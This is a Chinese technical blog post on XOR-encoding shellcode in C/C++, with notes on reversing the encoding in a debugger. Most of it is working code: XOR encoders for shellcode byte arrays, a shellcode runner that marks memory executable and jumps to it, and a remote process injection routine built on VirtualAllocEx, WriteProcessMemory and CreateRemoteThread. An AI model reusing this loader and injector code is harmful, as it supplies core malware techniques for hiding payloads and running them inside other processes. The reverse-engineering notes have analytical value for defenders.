C/C++ 简易异或加密的分析
异或,加解密shellcode代码的简单分析方法。
#include <stdio.h>
#include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[])
{
int password = 1025;
unsigned char enShellCode[500];
unsigned char deShellCode[500];
int nLen = sizeof(buf)-1;
for (int i = 0; i<nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
}
printf("\n");
for (int i = 0; i<nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
system("pause");
return 0;
}
debug版本
release 版本,先找程序OEP,识别看,argc,argv参数,即可,vs2013 main函数特征 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ??
优化的很厉害。
解密方式,寻找到加密后的字符串数据,然后找到异或密码,即可编写出解密程序,完成shellcode的还原。
#include <stdio.h>
#include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[])
{
unsigned char enShellCode[500];
int nLen = sizeof(buf) - 1;
for (int i = 0; i<nLen; i++)
{
buf[i] = buf[i] ^ 25;
buf[i] = buf[i] ^ 3;
enShellCode[i] = buf[i];
printf("\\x%x", enShellCode[i]);
}
system("pause");
return 0;
}
如上的几种写法,再release模式下,会被优化成一句,所以达不到混淆作用。
另一个异或案例,加密后将其写入到一个文件中,下fopen()断点,尝试拦截。
#include <stdio.h>
#include <Windows.h>
char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C";
void encoder(char* input, unsigned char key)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1);
for (i = 0; i<len; i++)
output[i] = input[i] ^ key;
fp = fopen("shellcode.raw", "w+");
fprintf(fp, "\"");
for (i = 0; i<len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
fprintf(fp, "\"\n\"");
}
fprintf(fp, "\";");
fclose(fp);
// 输出加密后的文件
for (i = 0; i<len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
free(output);
}
int main(int argc,char *argv[])
{
encoder(ShellCode, 1233);
system("pause");
return 0;
}
fopen调用了fsopen(),fsopen()同样可拦截。
ShellCode代码执行盒:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)();
return 0;
}
ShellCode注入进程:
#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] = "shellcode代码";
BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer;
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
}
int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}
文章出处:https://www.cnblogs.com/LyShark/p/13489869.html
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
2019-08-12 有趣的后渗透工具 Koadic
2019-08-12 使用 backdoor 工具注入ShellCode